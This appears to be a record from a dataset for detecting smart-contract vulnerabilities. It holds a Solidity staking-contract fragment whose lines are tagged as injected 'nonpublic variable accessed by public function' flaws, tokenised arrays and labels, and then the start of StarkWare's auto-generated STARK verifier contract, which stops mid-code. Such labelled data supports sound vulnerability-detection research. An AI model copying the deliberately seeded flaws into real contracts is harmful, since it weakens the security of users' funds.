claimRewardLockTime = newtime; //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
}
function calcReward(uint256 curBlock, address _user)
public
view
returns (uint256)
{
return _calcRewardWithViewSimpleAmount(curBlock, _user);
}
// This is copied particularly for catering the amount when user not sync
function _calcRewardWithViewSimpleAmount(uint256 curBlock, address _user)
internal
view
returns (uint256)
{
PoolInfo storage pool = mPoolInfo;
UserInfo storage user = userInfo[_user];
uint256 accRewardPerShare = pool.accRewardPerShare;
uint256 lpSupply = pool.amount;
if (curBlock > pool.lastRewardBlock && lpSupply != 0) {
uint256 multiplier = curBlock.sub(
pool.lastRewardBlock,
"cr curBlock sub overflow"
);
uint256 curReward = multiplier.mul(rewardPerBlock);
accRewardPerShare = accRewardPerShare.add(
curReward.mul(1e20).div(lpSupply)
);
}
// Only logic added for old simpleStaking
uint256 ssReward;
uint256 ssAmount;
uint256 ssRewardDebt;
(ssReward, ssAmount, ssRewardDebt) = mOldSimpleStaking.getUserInfo(
_user
);
ssAmount = ssAmount.add(user.amount);
ssRewardDebt = ssRewardDebt.add(user.rewardDebt);
ssReward = ssReward.add(user.reward);
// uint256 newReward = user.amount.mul(accRewardPerShare).div(1e20).sub(
uint256 newReward = ssAmount.mul(accRewardPerShare).div(1e20).sub(
ssRewardDebt,
"cr newReward sub overflow"
);
return newReward.add(ssReward);
}
function setTransLock(address target, uint256 locktime) public onlyAdmin {
require(
locktime >= now + 2 days,
"locktime need larger than cur time 2 days"
);
mTargetAddress = target; //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
mTransLockTime = locktime; //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
emit TransLock(mTargetAddress, mTransLockTime); //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
}
function transTokens(uint256 amount) public onlyAdmin {
require(mTransLockTime > 0, "mTransLockTime not set"); //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
require(now > mTransLockTime, "Pls wait to unlock time"); //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
linaToken.transfer(mTargetAddress, amount); //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
}
}
|
inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
|
uint256 iReward = getTotalReward(mEndBlock, msg.sender);
| 12,926,116 |
[
1,
22170,
18708,
14939,
8350,
13255,
40,
6953,
17187,
478,
21163,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
3639,
2254,
5034,
277,
17631,
1060,
273,
12831,
17631,
1060,
12,
81,
1638,
1768,
16,
1234,
18,
15330,
1769,
202,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
/**
*Submitted for verification at Etherscan.io on 2022-01-11
*/
/*
Copyright 2019-2022 StarkWare Industries Ltd.
Licensed under the Apache License, Version 2.0 (the "License").
You may not use this file except in compliance with the License.
You may obtain a copy of the License at
https://www.starkware.co/open-source-license/
Unless required by applicable law or agreed to in writing,
software distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions
and limitations under the License.
*/
// ---------- The following code was auto-generated. PLEASE DO NOT EDIT. ----------
// SPDX-License-Identifier: Apache-2.0.
pragma solidity ^0.6.12;
contract CpuConstraintPoly {
// The Memory map during the execution of this contract is as follows:
// [0x0, 0x20) - periodic_column/pedersen/points/x.
// [0x20, 0x40) - periodic_column/pedersen/points/y.
// [0x40, 0x60) - periodic_column/ecdsa/generator_points/x.
// [0x60, 0x80) - periodic_column/ecdsa/generator_points/y.
// [0x80, 0xa0) - trace_length.
// [0xa0, 0xc0) - offset_size.
// [0xc0, 0xe0) - half_offset_size.
// [0xe0, 0x100) - initial_ap.
// [0x100, 0x120) - initial_pc.
// [0x120, 0x140) - final_ap.
// [0x140, 0x160) - final_pc.
// [0x160, 0x180) - memory/multi_column_perm/perm/interaction_elm.
// [0x180, 0x1a0) - memory/multi_column_perm/hash_interaction_elm0.
// [0x1a0, 0x1c0) - memory/multi_column_perm/perm/public_memory_prod.
// [0x1c0, 0x1e0) - rc16/perm/interaction_elm.
// [0x1e0, 0x200) - rc16/perm/public_memory_prod.
// [0x200, 0x220) - rc_min.
// [0x220, 0x240) - rc_max.
// [0x240, 0x260) - diluted_check/permutation/interaction_elm.
// [0x260, 0x280) - diluted_check/permutation/public_memory_prod.
// [0x280, 0x2a0) - diluted_check/first_elm.
// [0x2a0, 0x2c0) - diluted_check/interaction_z.
// [0x2c0, 0x2e0) - diluted_check/interaction_alpha.
// [0x2e0, 0x300) - diluted_check/final_cum_val.
// [0x300, 0x320) - pedersen/shift_point.x.
// [0x320, 0x340) - pedersen/shift_point.y.
// [0x340, 0x360) - initial_pedersen_addr.
// [0x360, 0x380) - initial_rc_addr.
// [0x380, 0x3a0) - ecdsa/sig_config.alpha.
// [0x3a0, 0x3c0) - ecdsa/sig_config.shift_point.x.
// [0x3c0, 0x3e0) - ecdsa/sig_config.shift_point.y.
// [0x3e0, 0x400) - ecdsa/sig_config.beta.
// [0x400, 0x420) - initial_ecdsa_addr.
// [0x420, 0x440) - initial_bitwise_addr.
// [0x440, 0x460) - trace_generator.
// [0x460, 0x480) - oods_point.
// [0x480, 0x540) - interaction_elements.
// [0x540, 0x1600) - coefficients.
// [0x1600, 0x2bc0) - oods_values.
// ----------------------- end of input data - -------------------------
// [0x2bc0, 0x2be0) - intermediate_value/cpu/decode/opcode_rc/bit_0.
// [0x2be0, 0x2c00) - intermediate_value/cpu/decode/opcode_rc/bit_2.
// [0x2c00, 0x2c20) - intermediate_value/cpu/decode/opcode_rc/bit_4.
// [0x2c20, 0x2c40) - intermediate_value/cpu/decode/opcode_rc/bit_3.
// [0x2c40, 0x2c60) - intermediate_value/cpu/decode/flag_op1_base_op0_0.
// [0x2c60, 0x2c80) - intermediate_value/cpu/decode/opcode_rc/bit_5.
// [0x2c80, 0x2ca0) - intermediate_value/cpu/decode/opcode_rc/bit_6.
// [0x2ca0, 0x2cc0) - intermediate_value/cpu/decode/opcode_rc/bit_9.
// [0x2cc0, 0x2ce0) - intermediate_value/cpu/decode/flag_res_op1_0.
// [0x2ce0, 0x2d00) - intermediate_value/cpu/decode/opcode_rc/bit_7.
// [0x2d00, 0x2d20) - intermediate_value/cpu/decode/opcode_rc/bit_8.
// [0x2d20, 0x2d40) - intermediate_value/cpu/decode/flag_pc_update_regular_0.
// [0x2d40, 0x2d60) - intermediate_value/cpu/decode/opcode_rc/bit_12.
// [0x2d60, 0x2d80) - intermediate_value/cpu/decode/opcode_rc/bit_13.
// [0x2d80, 0x2da0) - intermediate_value/cpu/decode/fp_update_regular_0.
// [0x2da0, 0x2dc0) - intermediate_value/cpu/decode/opcode_rc/bit_1.
// [0x2dc0, 0x2de0) - intermediate_value/npc_reg_0.
// [0x2de0, 0x2e00) - intermediate_value/cpu/decode/opcode_rc/bit_10.
// [0x2e00, 0x2e20) - intermediate_value/cpu/decode/opcode_rc/bit_11.
// [0x2e20, 0x2e40) - intermediate_value/cpu/decode/opcode_rc/bit_14.
// [0x2e40, 0x2e60) - intermediate_value/memory/address_diff_0.
// [0x2e60, 0x2e80) - intermediate_value/rc16/diff_0.
// [0x2e80, 0x2ea0) - intermediate_value/pedersen/hash0/ec_subset_sum/bit_0.
// [0x2ea0, 0x2ec0) - intermediate_value/pedersen/hash0/ec_subset_sum/bit_neg_0.
// [0x2ec0, 0x2ee0) - intermediate_value/rc_builtin/value0_0.
// [0x2ee0, 0x2f00) - intermediate_value/rc_builtin/value1_0.
// [0x2f00, 0x2f20) - intermediate_value/rc_builtin/value2_0.
// [0x2f20, 0x2f40) - intermediate_value/rc_builtin/value3_0.
// [0x2f40, 0x2f60) - intermediate_value/rc_builtin/value4_0.
// [0x2f60, 0x2f80) - intermediate_value/rc_builtin/value5_0.
// [0x2f80, 0x2fa0) - intermediate_value/rc_builtin/value6_0.
// [0x2fa0, 0x2fc0) - intermediate_value/rc_builtin/value7_0.
// [0x2fc0, 0x2fe0) - intermediate_value/ecdsa/signature0/doubling_key/x_squared.
// [0x2fe0, 0x3000) - intermediate_value/ecdsa/signature0/exponentiate_generator/bit_0.
// [0x3000, 0x3020) - intermediate_value/ecdsa/signature0/exponentiate_generator/bit_neg_0.
// [0x3020, 0x3040) - intermediate_value/ecdsa/signature0/exponentiate_key/bit_0.
// [0x3040, 0x3060) - intermediate_value/ecdsa/signature0/exponentiate_key/bit_neg_0.
// [0x3060, 0x3080) - intermediate_value/bitwise/sum_var_0_0.
// [0x3080, 0x30a0) - intermediate_value/bitwise/sum_var_8_0.
// [0x30a0, 0x35a0) - expmods.
// [0x35a0, 0x38c0) - denominator_invs.
// [0x38c0, 0x3be0) - denominators.
// [0x3be0, 0x3d80) - numerators.
// [0x3d80, 0x3e40) - expmod_context.
fallback() external {
uint256 res;
assembly {
let PRIME := 0x800000000000011000000000000000000000000000000000000000000000001
// Copy input from calldata to memory.
calldatacopy(0x0, 0x0, /*Input data size*/ 0x2bc0)
let point := /*oods_point*/ mload(0x460)
function expmod(base, exponent, modulus) -> result {
let p := /*expmod_context*/ 0x3d80
mstore(p, 0x20) // Length of Base.
mstore(add(p, 0x20), 0x20) // Length of Exponent.
mstore(add(p, 0x40), 0x20) // Length of Modulus.
mstore(add(p, 0x60), base) // Base.
mstore(add(p, 0x80), exponent) // Exponent.
mstore(add(p, 0xa0), modulus) // Modulus.
// Call modexp precompile.
if iszero(staticcall(not(0), 0x05, p, 0xc0, p, 0x20)) {
revert(0, 0)
}
result := mload(p)
}
{
// Prepare expmods for denominators and numerators.
// expmods[0] = point^trace_length.
mstore(0x30a0, expmod(point, /*trace_length*/ mload(0x80), PRIME))
// expmods[1] = point^(trace_length / 16).
mstore(0x30c0, expmod(point, div(/*trace_length*/ mload(0x80), 16), PRIME))
// expmods[2] = point^(trace_length / 2).
mstore(0x30e0, expmod(point, div(/*trace_length*/ mload(0x80), 2), PRIME))
// expmods[3] = point^(trace_length / 4).
mstore(0x3100, expmod(point, div(/*trace_length*/ mload(0x80), 4), PRIME))
// expmods[4] = point^(trace_length / 2048).
mstore(0x3120, expmod(point, div(/*trace_length*/ mload(0x80), 2048), PRIME))
// expmods[5] = point^(trace_length / 8).
mstore(0x3140, expmod(point, div(/*trace_length*/ mload(0x80), 8), PRIME))
// expmods[6] = point^(trace_length / 4096).
mstore(0x3160, expmod(point, div(/*trace_length*/ mload(0x80), 4096), PRIME))
// expmods[7] = point^(trace_length / 128).
mstore(0x3180, expmod(point, div(/*trace_length*/ mload(0x80), 128), PRIME))
// expmods[8] = point^(trace_length / 32).
mstore(0x31a0, expmod(point, div(/*trace_length*/ mload(0x80), 32), PRIME))
// expmods[9] = point^(trace_length / 8192).
mstore(0x31c0, expmod(point, div(/*trace_length*/ mload(0x80), 8192), PRIME))
// expmods[10] = point^(trace_length / 64).
mstore(0x31e0, expmod(point, div(/*trace_length*/ mload(0x80), 64), PRIME))
// expmods[11] = point^(trace_length / 16384).
mstore(0x3200, expmod(point, div(/*trace_length*/ mload(0x80), 16384), PRIME))
// expmods[12] = trace_generator^(15 * trace_length / 16).
mstore(0x3220, expmod(/*trace_generator*/ mload(0x440), div(mul(15, /*trace_length*/ mload(0x80)), 16), PRIME))
// expmods[13] = trace_generator^(16 * (trace_length / 16 - 1)).
mstore(0x3240, expmod(/*trace_generator*/ mload(0x440), mul(16, sub(div(/*trace_length*/ mload(0x80), 16), 1)), PRIME))
// expmods[14] = trace_generator^(2 * (trace_length / 2 - 1)).
mstore(0x3260, expmod(/*trace_generator*/ mload(0x440), mul(2, sub(div(/*trace_length*/ mload(0x80), 2), 1)), PRIME))
// expmods[15] = trace_generator^(4 * (trace_length / 4 - 1)).
mstore(0x3280, expmod(/*trace_generator*/ mload(0x440), mul(4, sub(div(/*trace_length*/ mload(0x80), 4), 1)), PRIME))
// expmods[16] = trace_generator^(trace_length - 1).
mstore(0x32a0, expmod(/*trace_generator*/ mload(0x440), sub(/*trace_length*/ mload(0x80), 1), PRIME))
// expmods[17] = trace_generator^(255 * trace_length / 256).
mstore(0x32c0, expmod(/*trace_generator*/ mload(0x440), div(mul(255, /*trace_length*/ mload(0x80)), 256), PRIME))
// expmods[18] = trace_generator^(63 * trace_length / 64).
mstore(0x32e0, expmod(/*trace_generator*/ mload(0x440), div(mul(63, /*trace_length*/ mload(0x80)), 64), PRIME))
// expmods[19] = trace_generator^(trace_length / 2).
mstore(0x3300, expmod(/*trace_generator*/ mload(0x440), div(/*trace_length*/ mload(0x80), 2), PRIME))
// expmods[20] = trace_generator^(4096 * (trace_length / 4096 - 1)).
mstore(0x3320, expmod(/*trace_generator*/ mload(0x440), mul(4096, sub(div(/*trace_length*/ mload(0x80), 4096), 1)), PRIME))
// expmods[21] = trace_generator^(128 * (trace_length / 128 - 1)).
mstore(0x3340, expmod(/*trace_generator*/ mload(0x440), mul(128, sub(div(/*trace_length*/ mload(0x80), 128), 1)), PRIME))
// expmods[22] = trace_generator^(251 * trace_length / 256).
mstore(0x3360, expmod(/*trace_generator*/ mload(0x440), div(mul(251, /*trace_length*/ mload(0x80)), 256), PRIME))
// expmods[23] = trace_generator^(16384 * (trace_length / 16384 - 1)).
mstore(0x3380, expmod(/*trace_generator*/ mload(0x440), mul(16384, sub(div(/*trace_length*/ mload(0x80), 16384), 1)), PRIME))
// expmods[24] = trace_generator^(3 * trace_length / 4).
mstore(0x33a0, expmod(/*trace_generator*/ mload(0x440), div(mul(3, /*trace_length*/ mload(0x80)), 4), PRIME))
// expmods[25] = trace_generator^(trace_length / 64).
mstore(0x33c0, expmod(/*trace_generator*/ mload(0x440), div(/*trace_length*/ mload(0x80), 64), PRIME))
// expmods[26] = trace_generator^(trace_length / 32).
mstore(0x33e0, expmod(/*trace_generator*/ mload(0x440), div(/*trace_length*/ mload(0x80), 32), PRIME))
// expmods[27] = trace_generator^(3 * trace_length / 64).
mstore(0x3400, expmod(/*trace_generator*/ mload(0x440), div(mul(3, /*trace_length*/ mload(0x80)), 64), PRIME))
// expmods[28] = trace_generator^(trace_length / 16).
mstore(0x3420, expmod(/*trace_generator*/ mload(0x440), div(/*trace_length*/ mload(0x80), 16), PRIME))
// expmods[29] = trace_generator^(5 * trace_length / 64).
mstore(0x3440, expmod(/*trace_generator*/ mload(0x440), div(mul(5, /*trace_length*/ mload(0x80)), 64), PRIME))
// expmods[30] = trace_generator^(3 * trace_length / 32).
mstore(0x3460, expmod(/*trace_generator*/ mload(0x440), div(mul(3, /*trace_length*/ mload(0x80)), 32), PRIME))
// expmods[31] = trace_generator^(7 * trace_length / 64).
mstore(0x3480, expmod(/*trace_generator*/ mload(0x440), div(mul(7, /*trace_length*/ mload(0x80)), 64), PRIME))
// expmods[32] = trace_generator^(trace_length / 8).
mstore(0x34a0, expmod(/*trace_generator*/ mload(0x440), div(/*trace_length*/ mload(0x80), 8), PRIME))
// expmods[33] = trace_generator^(9 * trace_length / 64).
mstore(0x34c0, expmod(/*trace_generator*/ mload(0x440), div(mul(9, /*trace_length*/ mload(0x80)), 64), PRIME))
// expmods[34] = trace_generator^(5 * trace_length / 32).
mstore(0x34e0, expmod(/*trace_generator*/ mload(0x440), div(mul(5, /*trace_length*/ mload(0x80)), 32), PRIME))
// expmods[35] = trace_generator^(11 * trace_length / 64).
mstore(0x3500, expmod(/*trace_generator*/ mload(0x440), div(mul(11, /*trace_length*/ mload(0x80)), 64), PRIME))
// expmods[36] = trace_generator^(3 * trace_length / 16).
mstore(0x3520, expmod(/*trace_generator*/ mload(0x440), div(mul(3, /*trace_length*/ mload(0x80)), 16), PRIME))
// expmods[37] = trace_generator^(13 * trace_length / 64).
mstore(0x3540, expmod(/*trace_generator*/ mload(0x440), div(mul(13, /*trace_length*/ mload(0x80)), 64), PRIME))
// expmods[38] = trace_generator^(7 * trace_length / 32).
mstore(0x3560, expmod(/*trace_generator*/ mload(0x440), div(mul(7, /*trace_length*/ mload(0x80)), 32), PRIME))
// expmods[39] = trace_generator^(15 * trace_length / 64).
mstore(0x3580, expmod(/*trace_generator*/ mload(0x440), div(mul(15, /*trace_length*/ mload(0x80)), 64), PRIME))
}
{
// Prepare denominators for batch inverse.
// Denominator for constraints: 'cpu/decode/opcode_rc/bit', 'diluted_check/permutation/step0', 'diluted_check/step'.
// denominators[0] = point^trace_length - 1.
mstore(0x38c0,
addmod(/*point^trace_length*/ mload(0x30a0), sub(PRIME, 1), PRIME))
// Denominator for constraints: 'cpu/decode/opcode_rc/zero'.
// denominators[1] = point^(trace_length / 16) - trace_generator^(15 * trace_length / 16).
mstore(0x38e0,
addmod(
/*point^(trace_length / 16)*/ mload(0x30c0),
sub(PRIME, /*trace_generator^(15 * trace_length / 16)*/ mload(0x3220)),
PRIME))
// Denominator for constraints: 'cpu/decode/opcode_rc_input', 'cpu/decode/flag_op1_base_op0_bit', 'cpu/decode/flag_res_op1_bit', 'cpu/decode/flag_pc_update_regular_bit', 'cpu/decode/fp_update_regular_bit', 'cpu/operands/mem_dst_addr', 'cpu/operands/mem0_addr', 'cpu/operands/mem1_addr', 'cpu/operands/ops_mul', 'cpu/operands/res', 'cpu/update_registers/update_pc/tmp0', 'cpu/update_registers/update_pc/tmp1', 'cpu/update_registers/update_pc/pc_cond_negative', 'cpu/update_registers/update_pc/pc_cond_positive', 'cpu/update_registers/update_ap/ap_update', 'cpu/update_registers/update_fp/fp_update', 'cpu/opcodes/call/push_fp', 'cpu/opcodes/call/push_pc', 'cpu/opcodes/call/off0', 'cpu/opcodes/call/off1', 'cpu/opcodes/call/flags', 'cpu/opcodes/ret/off0', 'cpu/opcodes/ret/off2', 'cpu/opcodes/ret/flags', 'cpu/opcodes/assert_eq/assert_eq', 'public_memory_addr_zero', 'public_memory_value_zero'.
// denominators[2] = point^(trace_length / 16) - 1.
mstore(0x3900,
addmod(/*point^(trace_length / 16)*/ mload(0x30c0), sub(PRIME, 1), PRIME))
// Denominator for constraints: 'initial_ap', 'initial_fp', 'initial_pc', 'memory/multi_column_perm/perm/init0', 'memory/initial_addr', 'rc16/perm/init0', 'rc16/minimum', 'diluted_check/permutation/init0', 'diluted_check/init', 'diluted_check/first_element', 'pedersen/init_addr', 'rc_builtin/init_addr', 'ecdsa/init_addr', 'bitwise/init_var_pool_addr'.
// denominators[3] = point - 1.
mstore(0x3920,
addmod(point, sub(PRIME, 1), PRIME))
// Denominator for constraints: 'final_ap', 'final_fp', 'final_pc'.
// denominators[4] = point - trace_generator^(16 * (trace_length / 16 - 1)).
mstore(0x3940,
addmod(
point,
sub(PRIME, /*trace_generator^(16 * (trace_length / 16 - 1))*/ mload(0x3240)),
PRIME))
// Denominator for constraints: 'memory/multi_column_perm/perm/step0', 'memory/diff_is_bit', 'memory/is_func'.
// denominators[5] = point^(trace_length / 2) - 1.
mstore(0x3960,
addmod(/*point^(trace_length / 2)*/ mload(0x30e0), sub(PRIME, 1), PRIME))
// Denominator for constraints: 'memory/multi_column_perm/perm/last'.
// denominators[6] = point - trace_generator^(2 * (trace_length / 2 - 1)).
mstore(0x3980,
addmod(
point,
sub(PRIME, /*trace_generator^(2 * (trace_length / 2 - 1))*/ mload(0x3260)),
PRIME))
// Denominator for constraints: 'rc16/perm/step0', 'rc16/diff_is_bit'.
// denominators[7] = point^(trace_length / 4) - 1.
mstore(0x39a0,
addmod(/*point^(trace_length / 4)*/ mload(0x3100), sub(PRIME, 1), PRIME))
// Denominator for constraints: 'rc16/perm/last', 'rc16/maximum'.
// denominators[8] = point - trace_generator^(4 * (trace_length / 4 - 1)).
mstore(0x39c0,
addmod(
point,
sub(PRIME, /*trace_generator^(4 * (trace_length / 4 - 1))*/ mload(0x3280)),
PRIME))
// Denominator for constraints: 'diluted_check/permutation/last', 'diluted_check/last'.
// denominators[9] = point - trace_generator^(trace_length - 1).
mstore(0x39e0,
addmod(point, sub(PRIME, /*trace_generator^(trace_length - 1)*/ mload(0x32a0)), PRIME))
// Denominator for constraints: 'pedersen/hash0/ec_subset_sum/bit_unpacking/last_one_is_zero', 'pedersen/hash0/ec_subset_sum/bit_unpacking/zeroes_between_ones0', 'pedersen/hash0/ec_subset_sum/bit_unpacking/cumulative_bit192', 'pedersen/hash0/ec_subset_sum/bit_unpacking/zeroes_between_ones192', 'pedersen/hash0/ec_subset_sum/bit_unpacking/cumulative_bit196', 'pedersen/hash0/ec_subset_sum/bit_unpacking/zeroes_between_ones196', 'pedersen/hash0/copy_point/x', 'pedersen/hash0/copy_point/y'.
// denominators[10] = point^(trace_length / 2048) - 1.
mstore(0x3a00,
addmod(/*point^(trace_length / 2048)*/ mload(0x3120), sub(PRIME, 1), PRIME))
// Denominator for constraints: 'pedersen/hash0/ec_subset_sum/booleanity_test', 'pedersen/hash0/ec_subset_sum/add_points/slope', 'pedersen/hash0/ec_subset_sum/add_points/x', 'pedersen/hash0/ec_subset_sum/add_points/y', 'pedersen/hash0/ec_subset_sum/copy_point/x', 'pedersen/hash0/ec_subset_sum/copy_point/y'.
// denominators[11] = point^(trace_length / 8) - 1.
mstore(0x3a20,
addmod(/*point^(trace_length / 8)*/ mload(0x3140), sub(PRIME, 1), PRIME))
// Denominator for constraints: 'pedersen/hash0/ec_subset_sum/bit_extraction_end'.
// denominators[12] = point^(trace_length / 2048) - trace_generator^(63 * trace_length / 64).
mstore(0x3a40,
addmod(
/*point^(trace_length / 2048)*/ mload(0x3120),
sub(PRIME, /*trace_generator^(63 * trace_length / 64)*/ mload(0x32e0)),
PRIME))
// Denominator for constraints: 'pedersen/hash0/ec_subset_sum/zeros_tail'.
// denominators[13] = point^(trace_length / 2048) - trace_generator^(255 * trace_length / 256).
mstore(0x3a60,
addmod(
/*point^(trace_length / 2048)*/ mload(0x3120),
sub(PRIME, /*trace_generator^(255 * trace_length / 256)*/ mload(0x32c0)),
PRIME))
// Denominator for constraints: 'pedersen/hash0/init/x', 'pedersen/hash0/init/y', 'pedersen/input0_value0', 'pedersen/input0_addr', 'pedersen/input1_value0', 'pedersen/input1_addr', 'pedersen/output_value0', 'pedersen/output_addr'.
// denominators[14] = point^(trace_length / 4096) - 1.
mstore(0x3a80,
addmod(/*point^(trace_length / 4096)*/ mload(0x3160), sub(PRIME, 1), PRIME))
// Denominator for constraints: 'rc_builtin/value', 'rc_builtin/addr_step', 'bitwise/x_or_y_addr', 'bitwise/next_var_pool_addr', 'bitwise/or_is_and_plus_xor', 'bitwise/unique_unpacking192', 'bitwise/unique_unpacking193', 'bitwise/unique_unpacking194', 'bitwise/unique_unpacking195'.
// denominators[15] = point^(trace_length / 128) - 1.
mstore(0x3aa0,
addmod(/*point^(trace_length / 128)*/ mload(0x3180), sub(PRIME, 1), PRIME))
// Denominator for constraints: 'ecdsa/signature0/doubling_key/slope', 'ecdsa/signature0/doubling_key/x', 'ecdsa/signature0/doubling_key/y', 'ecdsa/signature0/exponentiate_key/booleanity_test', 'ecdsa/signature0/exponentiate_key/add_points/slope', 'ecdsa/signature0/exponentiate_key/add_points/x', 'ecdsa/signature0/exponentiate_key/add_points/y', 'ecdsa/signature0/exponentiate_key/add_points/x_diff_inv', 'ecdsa/signature0/exponentiate_key/copy_point/x', 'ecdsa/signature0/exponentiate_key/copy_point/y', 'bitwise/step_var_pool_addr', 'bitwise/partition'.
// denominators[16] = point^(trace_length / 32) - 1.
mstore(0x3ac0,
addmod(/*point^(trace_length / 32)*/ mload(0x31a0), sub(PRIME, 1), PRIME))
// Denominator for constraints: 'ecdsa/signature0/exponentiate_generator/booleanity_test', 'ecdsa/signature0/exponentiate_generator/add_points/slope', 'ecdsa/signature0/exponentiate_generator/add_points/x', 'ecdsa/signature0/exponentiate_generator/add_points/y', 'ecdsa/signature0/exponentiate_generator/add_points/x_diff_inv', 'ecdsa/signature0/exponentiate_generator/copy_point/x', 'ecdsa/signature0/exponentiate_generator/copy_point/y'.
// denominators[17] = point^(trace_length / 64) - 1.
mstore(0x3ae0,
addmod(/*point^(trace_length / 64)*/ mload(0x31e0), sub(PRIME, 1), PRIME))
// Denominator for constraints: 'ecdsa/signature0/exponentiate_generator/bit_extraction_end'.
// denominators[18] = point^(trace_length / 16384) - trace_generator^(251 * trace_length / 256).
mstore(0x3b00,
addmod(
/*point^(trace_length / 16384)*/ mload(0x3200),
sub(PRIME, /*trace_generator^(251 * trace_length / 256)*/ mload(0x3360)),
PRIME))
// Denominator for constraints: 'ecdsa/signature0/exponentiate_generator/zeros_tail'.
// denominators[19] = point^(trace_length / 16384) - trace_generator^(255 * trace_length / 256).
mstore(0x3b20,
addmod(
/*point^(trace_length / 16384)*/ mload(0x3200),
sub(PRIME, /*trace_generator^(255 * trace_length / 256)*/ mload(0x32c0)),
PRIME))
// Denominator for constraints: 'ecdsa/signature0/exponentiate_key/bit_extraction_end'.
// denominators[20] = point^(trace_length / 8192) - trace_generator^(251 * trace_length / 256).
mstore(0x3b40,
addmod(
/*point^(trace_length / 8192)*/ mload(0x31c0),
sub(PRIME, /*trace_generator^(251 * trace_length / 256)*/ mload(0x3360)),
PRIME))
// Denominator for constraints: 'ecdsa/signature0/exponentiate_key/zeros_tail'.
// denominators[21] = point^(trace_length / 8192) - trace_generator^(255 * trace_length / 256).
mstore(0x3b60,
addmod(
/*point^(trace_length / 8192)*/ mload(0x31c0),
sub(PRIME, /*trace_generator^(255 * trace_length / 256)*/ mload(0x32c0)),
PRIME))
// Denominator for constraints: 'ecdsa/signature0/init_gen/x', 'ecdsa/signature0/init_gen/y', 'ecdsa/signature0/add_results/slope', 'ecdsa/signature0/add_results/x', 'ecdsa/signature0/add_results/y', 'ecdsa/signature0/add_results/x_diff_inv', 'ecdsa/signature0/extract_r/slope', 'ecdsa/signature0/extract_r/x', 'ecdsa/signature0/extract_r/x_diff_inv', 'ecdsa/signature0/z_nonzero', 'ecdsa/signature0/q_on_curve/x_squared', 'ecdsa/signature0/q_on_curve/on_curve', 'ecdsa/message_addr', 'ecdsa/pubkey_addr', 'ecdsa/message_value0', 'ecdsa/pubkey_value0'.
// denominators[22] = point^(trace_length / 16384) - 1.
mstore(0x3b80,
addmod(/*point^(trace_length / 16384)*/ mload(0x3200), sub(PRIME, 1), PRIME))
